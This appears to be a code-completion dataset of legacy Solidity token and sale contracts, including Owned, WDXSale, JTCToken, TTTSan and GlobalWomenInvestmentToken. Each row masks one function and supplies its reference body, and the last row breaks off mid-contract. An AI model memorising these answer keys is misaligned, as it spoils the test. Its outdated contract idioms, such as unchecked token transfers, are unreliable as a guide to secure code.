source_idx
stringlengths 1
5
| contract_name
stringlengths 1
55
| func_name
stringlengths 0
2.45k
⌀ | masked_body
stringlengths 60
686k
| masked_all
stringlengths 34
686k
| func_body
stringlengths 6
324k
| signature_only
stringlengths 11
2.47k
| signature_extend
stringlengths 11
8.95k
|
---|---|---|---|---|---|---|---|
40544 | Owned | acceptOwnership | contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0xA967Da0402644451A239BC9A28851b1742a8ea61;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {<FILL_FUNCTION_BODY> }
} | contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0xA967Da0402644451A239BC9A28851b1742a8ea61;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
<FILL_FUNCTION>
} |
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
| function acceptOwnership() public | function acceptOwnership() public |
68753 | WDXSale | buyTokens | contract WDXSale {
IERC20Token public tokenContract; // the token being sold
uint256 public price; // the price, in wei, per token
address owner;
uint256 public tokensSold;
event Sold(address buyer, uint256 amount);
constructor(IERC20Token _tokenContract, uint256 _price) public {
owner = msg.sender;
tokenContract = _tokenContract;
price = _price;
}
// Guards against integer overflows
function safeMultiply(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
} else {
uint256 c = a * b;
assert(c / a == b);
return c;
}
}
function safeDivision(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function buyTokens(uint256 numberOfTokens) public payable {<FILL_FUNCTION_BODY> }
function() external payable {
uint256 numberOfTokens = safeMultiply(safeDivision(msg.value, price), uint256(10) ** tokenContract.decimals());
emit Sold(msg.sender, numberOfTokens);
tokensSold += numberOfTokens;
tokenContract.transfer(msg.sender, numberOfTokens);
address payable recipient = address(0x69361E320344FF2FD782F2dc6ba52fb436b74CaF);
recipient.transfer(address(this).balance);
}
function endSale() public {
require(msg.sender == owner);
// Send unsold tokens to the owner.
address payable recipient = address(0x69361E320344FF2FD782F2dc6ba52fb436b74CaF);
require(tokenContract.transfer(recipient, tokenContract.balanceOf(address(this))));
recipient.transfer(address(this).balance);
}
function getEther() public {
require(msg.sender == owner);
address payable recipient = address(0x69361E320344FF2FD782F2dc6ba52fb436b74CaF);
recipient.transfer(address(this).balance);
}
function updateWDXPrice(uint256 _price) public {
require(msg.sender == owner);
price = _price;
}
} | contract WDXSale {
IERC20Token public tokenContract; // the token being sold
uint256 public price; // the price, in wei, per token
address owner;
uint256 public tokensSold;
event Sold(address buyer, uint256 amount);
constructor(IERC20Token _tokenContract, uint256 _price) public {
owner = msg.sender;
tokenContract = _tokenContract;
price = _price;
}
// Guards against integer overflows
function safeMultiply(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
} else {
uint256 c = a * b;
assert(c / a == b);
return c;
}
}
function safeDivision(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
<FILL_FUNCTION>
function() external payable {
uint256 numberOfTokens = safeMultiply(safeDivision(msg.value, price), uint256(10) ** tokenContract.decimals());
emit Sold(msg.sender, numberOfTokens);
tokensSold += numberOfTokens;
tokenContract.transfer(msg.sender, numberOfTokens);
address payable recipient = address(0x69361E320344FF2FD782F2dc6ba52fb436b74CaF);
recipient.transfer(address(this).balance);
}
function endSale() public {
require(msg.sender == owner);
// Send unsold tokens to the owner.
address payable recipient = address(0x69361E320344FF2FD782F2dc6ba52fb436b74CaF);
require(tokenContract.transfer(recipient, tokenContract.balanceOf(address(this))));
recipient.transfer(address(this).balance);
}
function getEther() public {
require(msg.sender == owner);
address payable recipient = address(0x69361E320344FF2FD782F2dc6ba52fb436b74CaF);
recipient.transfer(address(this).balance);
}
function updateWDXPrice(uint256 _price) public {
require(msg.sender == owner);
price = _price;
}
} |
require(msg.value == safeDivision(safeMultiply(numberOfTokens, price), uint256(10) ** tokenContract.decimals()));
require(tokenContract.balanceOf(address(this)) >= numberOfTokens);
emit Sold(msg.sender, numberOfTokens);
tokensSold += numberOfTokens;
tokenContract.transfer(msg.sender, numberOfTokens);
address payable recipient = address(0x69361E320344FF2FD782F2dc6ba52fb436b74CaF);
recipient.transfer(address(this).balance);
| function buyTokens(uint256 numberOfTokens) public payable | function buyTokens(uint256 numberOfTokens) public payable |
25960 | JTCToken | _transfer | contract JTCToken is Ownable, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping(address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> }
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value.div(buyPrice);
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
address myAddress = this;
require(myAddress.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount.mul(sellPrice));
}
function setMinBalance(uint minimumBalanceInFinney) onlyOwner public {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
} | contract JTCToken is Ownable, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping(address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
<FILL_FUNCTION>
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value.div(buyPrice);
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
address myAddress = this;
require(myAddress.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount.mul(sellPrice));
}
function setMinBalance(uint minimumBalanceInFinney) onlyOwner public {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
} |
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
if (msg.sender.balance < minBalanceForAccounts)
sell((minBalanceForAccounts - msg.sender.balance) / sellPrice);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
| function _transfer(address _from, address _to, uint _value) internal | function _transfer(address _from, address _to, uint _value) internal |
8248 | TTTSan | ownerAddSanSlotBatch | contract TTTSan is ERC721Token, Ownable {
address public wallet = 0x515165A6511734A4eFB5Cfb531955cf420b2725B;
address public tttTokenAddress = 0x24358430f5b1f947B04D9d1a22bEb6De01CaBea2;
address public marketAddress;
uint256 public sanTTTCost;
uint256 public sanMaxLength;
uint256 public sanMinLength;
uint256 public sanMaxAmount;
uint256 public sanMaxFree;
uint256 public sanCurrentTotal;
string public baseUrl = "https://thetiptoken.io/arv/img/";
mapping(string=>bool) sanOwnership;
mapping(address=>uint256) sanSlots;
mapping(address=>uint256) sanOwnerAmount;
mapping(string=>uint256) sanNameToId;
mapping(string=>address) sanNameToAddress;
struct SAN {
string sanName;
uint256 timeAlive;
uint256 timeLastMove;
address prevOwner;
string sanageLink;
}
SAN[] public sans;
TTTToken ttt;
modifier isMarketAddress() {
require(msg.sender == marketAddress);
_;
}
event SanMinted(address sanOwner, uint256 sanId, string sanName);
event SanSlotPurchase(address sanOwner, uint256 amt);
event SanCostUpdated(uint256 cost);
event SanLengthReqChange(uint256 sanMinLength, uint256 sanMaxLength);
event SanMaxAmountChange(uint256 sanMaxAmount);
constructor() public ERC721Token("TTTSAN", "TTTS") {
sanTTTCost = 10 ether;
sanMaxLength = 16;
sanMinLength = 2;
sanMaxAmount = 100;
sanMaxFree = 500;
ttt = TTTToken(tttTokenAddress);
// gen0 san
/* "NeverGonnaGiveYouUp.NeverGonnaLetYouDown" */
string memory gen0 = "NeverGonnaGiveYouUp.NeverGonnaLetYouDown";
SAN memory s = SAN({
sanName: gen0,
timeAlive: block.timestamp,
timeLastMove: block.timestamp,
prevOwner: msg.sender,
sanageLink: "0x"
});
uint256 sanId = sans.push(s).sub(1);
sanOwnership[gen0] = true;
_sanMint(sanId, msg.sender, "gen0.jpeg", gen0);
}
function sanMint(string _sanName, string _sanageUri) external returns (string) {
// first 500 SANs do not require a slot
if(sanCurrentTotal > sanMaxFree)
require(sanSlots[msg.sender] >= 1, "no san slots available");
string memory sn = sanitize(_sanName);
SAN memory s = SAN({
sanName: sn,
timeAlive: block.timestamp,
timeLastMove: block.timestamp,
prevOwner: msg.sender,
sanageLink: _sanageUri
});
uint256 sanId = sans.push(s).sub(1);
sanOwnership[sn] = true;
if(sanCurrentTotal > sanMaxFree)
sanSlots[msg.sender] = sanSlots[msg.sender].sub(1);
_sanMint(sanId, msg.sender, _sanageUri, sn);
return sn;
}
function getSANOwner(uint256 _sanId) public view returns (address) {
return ownerOf(_sanId);
}
function getSanIdFromName(string _sanName) public view returns (uint256) {
return sanNameToId[_sanName];
}
function getSanName(uint256 _sanId) public view returns (string) {
return sans[_sanId].sanName;
}
function getSanageLink(uint256 _sanId) public view returns (string) {
return sans[_sanId].sanageLink;
}
function getSanTimeAlive(uint256 _sanId) public view returns (uint256) {
return sans[_sanId].timeAlive;
}
function getSanTimeLastMove(uint256 _sanId) public view returns (uint256) {
return sans[_sanId].timeLastMove;
}
function getSanPrevOwner(uint256 _sanId) public view returns (address) {
return sans[_sanId].prevOwner;
}
function getAddressFromSan(string _sanName) public view returns (address) {
return sanNameToAddress[_sanName];
}
function getSanSlots(address _sanOwner) public view returns(uint256) {
return sanSlots[_sanOwner];
}
// used for initial check to not waste gas
function getSANitized(string _sanName) external view returns (string) {
return sanitize(_sanName);
}
function buySanSlot(address _sanOwner, uint256 _tip) external returns(bool) {
require(_tip >= sanTTTCost, "tip less than san cost");
require(sanSlots[_sanOwner] < sanMaxAmount, "max san slots owned");
sanSlots[_sanOwner] = sanSlots[_sanOwner].add(1);
ttt.transferFrom(msg.sender, wallet, _tip);
emit SanSlotPurchase(_sanOwner, 1);
return true;
}
function marketSale(uint256 _sanId, string _sanName, address _prevOwner, address _newOwner) external isMarketAddress {
SAN storage s = sans[_sanId];
s.prevOwner = _prevOwner;
s.timeLastMove = block.timestamp;
sanNameToAddress[_sanName] = _newOwner;
// no slot movements for first 500 SANs
if(sanCurrentTotal > sanMaxFree) {
sanSlots[_prevOwner] = sanSlots[_prevOwner].sub(1);
sanSlots[_newOwner] = sanSlots[_newOwner].add(1);
}
sanOwnerAmount[_prevOwner] = sanOwnerAmount[_prevOwner].sub(1);
sanOwnerAmount[_newOwner] = sanOwnerAmount[_newOwner].add(1);
}
function() public payable { revert(); }
// OWNER FUNCTIONS
function setSanTTTCost(uint256 _cost) external onlyOwner {
sanTTTCost = _cost;
emit SanCostUpdated(sanTTTCost);
}
function setSanLength(uint256 _length, uint256 _pos) external onlyOwner {
require(_length > 0);
if(_pos == 0) sanMinLength = _length;
else sanMaxLength = _length;
emit SanLengthReqChange(sanMinLength, sanMaxLength);
}
function setSanMaxAmount(uint256 _amount) external onlyOwner {
sanMaxAmount = _amount;
emit SanMaxAmountChange(sanMaxAmount);
}
function setSanMaxFree(uint256 _sanMaxFree) external onlyOwner {
sanMaxFree = _sanMaxFree;
}
function ownerAddSanSlot(address _sanOwner, uint256 _slotCount) external onlyOwner {
require(_slotCount > 0 && _slotCount <= sanMaxAmount);
require(sanSlots[_sanOwner] < sanMaxAmount);
sanSlots[_sanOwner] = sanSlots[_sanOwner].add(_slotCount);
}
// owner can add slots in batches, 100 max
function ownerAddSanSlotBatch(address[] _sanOwner, uint256[] _slotCount) external onlyOwner {<FILL_FUNCTION_BODY> }
function setMarketAddress(address _marketAddress) public onlyOwner {
marketAddress = _marketAddress;
}
function setBaseUrl(string _baseUrl) public onlyOwner {
baseUrl = _baseUrl;
}
function setOwnerWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function updateTokenUri(uint256 _sanId, string _newUri) public onlyOwner {
SAN storage s = sans[_sanId];
s.sanageLink = _newUri;
_setTokenURI(_sanId, strConcat(baseUrl, _newUri));
}
function emptyTTT() external onlyOwner {
ttt.transfer(msg.sender, ttt.balanceOf(address(this)));
}
function emptyEther() external onlyOwner {
owner.transfer(address(this).balance);
}
// owner can mint special sans for an address
function specialSanMint(string _sanName, string _sanageUri, address _address) external onlyOwner returns (string) {
SAN memory s = SAN({
sanName: _sanName,
timeAlive: block.timestamp,
timeLastMove: block.timestamp,
prevOwner: _address,
sanageLink: _sanageUri
});
uint256 sanId = sans.push(s).sub(1);
_sanMint(sanId, _address, _sanageUri, _sanName);
return _sanName;
}
// INTERNAL FUNCTIONS
function sanitize(string _sanName) internal view returns(string) {
string memory sn = sanToLower(_sanName);
require(isValidSan(sn), "san is not valid");
require(!sanOwnership[sn], "san is not unique");
return sn;
}
function _sanMint(uint256 _sanId, address _owner, string _sanageUri, string _sanName) internal {
require(sanOwnerAmount[_owner] < sanMaxAmount, "max san owned");
sanNameToId[_sanName] = _sanId;
sanNameToAddress[_sanName] = _owner;
sanOwnerAmount[_owner] = sanOwnerAmount[_owner].add(1);
sanCurrentTotal = sanCurrentTotal.add(1);
_mint(_owner, _sanId);
_setTokenURI(_sanId, strConcat(baseUrl, _sanageUri));
emit SanMinted(_owner, _sanId, _sanName);
}
function isValidSan(string _sanName) internal view returns(bool) {
bytes memory wb = bytes(_sanName);
uint slen = wb.length;
if (slen > sanMaxLength || slen <= sanMinLength) return false;
bytes1 space = bytes1(0x20);
bytes1 period = bytes1(0x2E);
// san can not end in .eth - added to avoid conflicts with ens
bytes1 e = bytes1(0x65);
bytes1 t = bytes1(0x74);
bytes1 h = bytes1(0x68);
uint256 dCount = 0;
uint256 eCount = 0;
uint256 eth = 0;
for(uint256 i = 0; i < slen; i++) {
if(wb[i] == space) return false;
else if(wb[i] == period) {
dCount = dCount.add(1);
// only 1 '.'
if(dCount > 1) return false;
eCount = 1;
} else if(eCount > 0 && eCount < 5) {
if(eCount == 1) if(wb[i] == e) eth = eth.add(1);
if(eCount == 2) if(wb[i] == t) eth = eth.add(1);
if(eCount == 3) if(wb[i] == h) eth = eth.add(1);
eCount = eCount.add(1);
}
}
if(dCount == 0) return false;
if((eth == 3 && eCount == 4) || eCount == 1) return false;
return true;
}
function sanToLower(string _sanName) internal pure returns(string) {
bytes memory b = bytes(_sanName);
for(uint256 i = 0; i < b.length; i++) {
b[i] = byteToLower(b[i]);
}
return string(b);
}
function byteToLower(bytes1 _b) internal pure returns (bytes1) {
if(_b >= bytes1(0x41) && _b <= bytes1(0x5A))
return bytes1(uint8(_b) + 32);
return _b;
}
function strConcat(string _a, string _b) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ab = new string(_ba.length.add(_bb.length));
bytes memory bab = bytes(ab);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) bab[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i];
return string(bab);
}
} | contract TTTSan is ERC721Token, Ownable {
address public wallet = 0x515165A6511734A4eFB5Cfb531955cf420b2725B;
address public tttTokenAddress = 0x24358430f5b1f947B04D9d1a22bEb6De01CaBea2;
address public marketAddress;
uint256 public sanTTTCost;
uint256 public sanMaxLength;
uint256 public sanMinLength;
uint256 public sanMaxAmount;
uint256 public sanMaxFree;
uint256 public sanCurrentTotal;
string public baseUrl = "https://thetiptoken.io/arv/img/";
mapping(string=>bool) sanOwnership;
mapping(address=>uint256) sanSlots;
mapping(address=>uint256) sanOwnerAmount;
mapping(string=>uint256) sanNameToId;
mapping(string=>address) sanNameToAddress;
struct SAN {
string sanName;
uint256 timeAlive;
uint256 timeLastMove;
address prevOwner;
string sanageLink;
}
SAN[] public sans;
TTTToken ttt;
modifier isMarketAddress() {
require(msg.sender == marketAddress);
_;
}
event SanMinted(address sanOwner, uint256 sanId, string sanName);
event SanSlotPurchase(address sanOwner, uint256 amt);
event SanCostUpdated(uint256 cost);
event SanLengthReqChange(uint256 sanMinLength, uint256 sanMaxLength);
event SanMaxAmountChange(uint256 sanMaxAmount);
constructor() public ERC721Token("TTTSAN", "TTTS") {
sanTTTCost = 10 ether;
sanMaxLength = 16;
sanMinLength = 2;
sanMaxAmount = 100;
sanMaxFree = 500;
ttt = TTTToken(tttTokenAddress);
// gen0 san
/* "NeverGonnaGiveYouUp.NeverGonnaLetYouDown" */
string memory gen0 = "NeverGonnaGiveYouUp.NeverGonnaLetYouDown";
SAN memory s = SAN({
sanName: gen0,
timeAlive: block.timestamp,
timeLastMove: block.timestamp,
prevOwner: msg.sender,
sanageLink: "0x"
});
uint256 sanId = sans.push(s).sub(1);
sanOwnership[gen0] = true;
_sanMint(sanId, msg.sender, "gen0.jpeg", gen0);
}
function sanMint(string _sanName, string _sanageUri) external returns (string) {
// first 500 SANs do not require a slot
if(sanCurrentTotal > sanMaxFree)
require(sanSlots[msg.sender] >= 1, "no san slots available");
string memory sn = sanitize(_sanName);
SAN memory s = SAN({
sanName: sn,
timeAlive: block.timestamp,
timeLastMove: block.timestamp,
prevOwner: msg.sender,
sanageLink: _sanageUri
});
uint256 sanId = sans.push(s).sub(1);
sanOwnership[sn] = true;
if(sanCurrentTotal > sanMaxFree)
sanSlots[msg.sender] = sanSlots[msg.sender].sub(1);
_sanMint(sanId, msg.sender, _sanageUri, sn);
return sn;
}
function getSANOwner(uint256 _sanId) public view returns (address) {
return ownerOf(_sanId);
}
function getSanIdFromName(string _sanName) public view returns (uint256) {
return sanNameToId[_sanName];
}
function getSanName(uint256 _sanId) public view returns (string) {
return sans[_sanId].sanName;
}
function getSanageLink(uint256 _sanId) public view returns (string) {
return sans[_sanId].sanageLink;
}
function getSanTimeAlive(uint256 _sanId) public view returns (uint256) {
return sans[_sanId].timeAlive;
}
function getSanTimeLastMove(uint256 _sanId) public view returns (uint256) {
return sans[_sanId].timeLastMove;
}
function getSanPrevOwner(uint256 _sanId) public view returns (address) {
return sans[_sanId].prevOwner;
}
function getAddressFromSan(string _sanName) public view returns (address) {
return sanNameToAddress[_sanName];
}
function getSanSlots(address _sanOwner) public view returns(uint256) {
return sanSlots[_sanOwner];
}
// used for initial check to not waste gas
function getSANitized(string _sanName) external view returns (string) {
return sanitize(_sanName);
}
function buySanSlot(address _sanOwner, uint256 _tip) external returns(bool) {
require(_tip >= sanTTTCost, "tip less than san cost");
require(sanSlots[_sanOwner] < sanMaxAmount, "max san slots owned");
sanSlots[_sanOwner] = sanSlots[_sanOwner].add(1);
ttt.transferFrom(msg.sender, wallet, _tip);
emit SanSlotPurchase(_sanOwner, 1);
return true;
}
function marketSale(uint256 _sanId, string _sanName, address _prevOwner, address _newOwner) external isMarketAddress {
SAN storage s = sans[_sanId];
s.prevOwner = _prevOwner;
s.timeLastMove = block.timestamp;
sanNameToAddress[_sanName] = _newOwner;
// no slot movements for first 500 SANs
if(sanCurrentTotal > sanMaxFree) {
sanSlots[_prevOwner] = sanSlots[_prevOwner].sub(1);
sanSlots[_newOwner] = sanSlots[_newOwner].add(1);
}
sanOwnerAmount[_prevOwner] = sanOwnerAmount[_prevOwner].sub(1);
sanOwnerAmount[_newOwner] = sanOwnerAmount[_newOwner].add(1);
}
function() public payable { revert(); }
// OWNER FUNCTIONS
function setSanTTTCost(uint256 _cost) external onlyOwner {
sanTTTCost = _cost;
emit SanCostUpdated(sanTTTCost);
}
function setSanLength(uint256 _length, uint256 _pos) external onlyOwner {
require(_length > 0);
if(_pos == 0) sanMinLength = _length;
else sanMaxLength = _length;
emit SanLengthReqChange(sanMinLength, sanMaxLength);
}
function setSanMaxAmount(uint256 _amount) external onlyOwner {
sanMaxAmount = _amount;
emit SanMaxAmountChange(sanMaxAmount);
}
function setSanMaxFree(uint256 _sanMaxFree) external onlyOwner {
sanMaxFree = _sanMaxFree;
}
function ownerAddSanSlot(address _sanOwner, uint256 _slotCount) external onlyOwner {
require(_slotCount > 0 && _slotCount <= sanMaxAmount);
require(sanSlots[_sanOwner] < sanMaxAmount);
sanSlots[_sanOwner] = sanSlots[_sanOwner].add(_slotCount);
}
<FILL_FUNCTION>
function setMarketAddress(address _marketAddress) public onlyOwner {
marketAddress = _marketAddress;
}
function setBaseUrl(string _baseUrl) public onlyOwner {
baseUrl = _baseUrl;
}
function setOwnerWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function updateTokenUri(uint256 _sanId, string _newUri) public onlyOwner {
SAN storage s = sans[_sanId];
s.sanageLink = _newUri;
_setTokenURI(_sanId, strConcat(baseUrl, _newUri));
}
function emptyTTT() external onlyOwner {
ttt.transfer(msg.sender, ttt.balanceOf(address(this)));
}
function emptyEther() external onlyOwner {
owner.transfer(address(this).balance);
}
// owner can mint special sans for an address
function specialSanMint(string _sanName, string _sanageUri, address _address) external onlyOwner returns (string) {
SAN memory s = SAN({
sanName: _sanName,
timeAlive: block.timestamp,
timeLastMove: block.timestamp,
prevOwner: _address,
sanageLink: _sanageUri
});
uint256 sanId = sans.push(s).sub(1);
_sanMint(sanId, _address, _sanageUri, _sanName);
return _sanName;
}
// INTERNAL FUNCTIONS
function sanitize(string _sanName) internal view returns(string) {
string memory sn = sanToLower(_sanName);
require(isValidSan(sn), "san is not valid");
require(!sanOwnership[sn], "san is not unique");
return sn;
}
function _sanMint(uint256 _sanId, address _owner, string _sanageUri, string _sanName) internal {
require(sanOwnerAmount[_owner] < sanMaxAmount, "max san owned");
sanNameToId[_sanName] = _sanId;
sanNameToAddress[_sanName] = _owner;
sanOwnerAmount[_owner] = sanOwnerAmount[_owner].add(1);
sanCurrentTotal = sanCurrentTotal.add(1);
_mint(_owner, _sanId);
_setTokenURI(_sanId, strConcat(baseUrl, _sanageUri));
emit SanMinted(_owner, _sanId, _sanName);
}
function isValidSan(string _sanName) internal view returns(bool) {
bytes memory wb = bytes(_sanName);
uint slen = wb.length;
if (slen > sanMaxLength || slen <= sanMinLength) return false;
bytes1 space = bytes1(0x20);
bytes1 period = bytes1(0x2E);
// san can not end in .eth - added to avoid conflicts with ens
bytes1 e = bytes1(0x65);
bytes1 t = bytes1(0x74);
bytes1 h = bytes1(0x68);
uint256 dCount = 0;
uint256 eCount = 0;
uint256 eth = 0;
for(uint256 i = 0; i < slen; i++) {
if(wb[i] == space) return false;
else if(wb[i] == period) {
dCount = dCount.add(1);
// only 1 '.'
if(dCount > 1) return false;
eCount = 1;
} else if(eCount > 0 && eCount < 5) {
if(eCount == 1) if(wb[i] == e) eth = eth.add(1);
if(eCount == 2) if(wb[i] == t) eth = eth.add(1);
if(eCount == 3) if(wb[i] == h) eth = eth.add(1);
eCount = eCount.add(1);
}
}
if(dCount == 0) return false;
if((eth == 3 && eCount == 4) || eCount == 1) return false;
return true;
}
function sanToLower(string _sanName) internal pure returns(string) {
bytes memory b = bytes(_sanName);
for(uint256 i = 0; i < b.length; i++) {
b[i] = byteToLower(b[i]);
}
return string(b);
}
function byteToLower(bytes1 _b) internal pure returns (bytes1) {
if(_b >= bytes1(0x41) && _b <= bytes1(0x5A))
return bytes1(uint8(_b) + 32);
return _b;
}
function strConcat(string _a, string _b) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ab = new string(_ba.length.add(_bb.length));
bytes memory bab = bytes(ab);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) bab[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i];
return string(bab);
}
} |
require(_sanOwner.length == _slotCount.length);
require(_sanOwner.length <= 100);
for(uint8 i = 0; i < _sanOwner.length; i++) {
require(_slotCount[i] > 0 && _slotCount[i] <= sanMaxAmount, "incorrect slot count");
sanSlots[_sanOwner[i]] = sanSlots[_sanOwner[i]].add(_slotCount[i]);
require(sanSlots[_sanOwner[i]] <= sanMaxAmount, "max san slots owned");
}
| function ownerAddSanSlotBatch(address[] _sanOwner, uint256[] _slotCount) external onlyOwner | // owner can add slots in batches, 100 max
function ownerAddSanSlotBatch(address[] _sanOwner, uint256[] _slotCount) external onlyOwner |
44322 | GlobalWomenInvestmentToken | approveAndCall | contract GlobalWomenInvestmentToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "WIT";
name = "Global Women Investment Token";
decimals = 18;
_totalSupply = 5000000000000000000000000000;
balances[0xe8472F3Fc8975422f0c93b0cB17271162A125a18] = _totalSupply;
emit Transfer(address(0), 0xe8472F3Fc8975422f0c93b0cB17271162A125a18, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract GlobalWomenInvestmentToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "WIT";
name = "Global Women Investment Token";
decimals = 18;
_totalSupply = 5000000000000000000000000000;
balances[0xe8472F3Fc8975422f0c93b0cB17271162A125a18] = _totalSupply;
emit Transfer(address(0), 0xe8472F3Fc8975422f0c93b0cB17271162A125a18, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
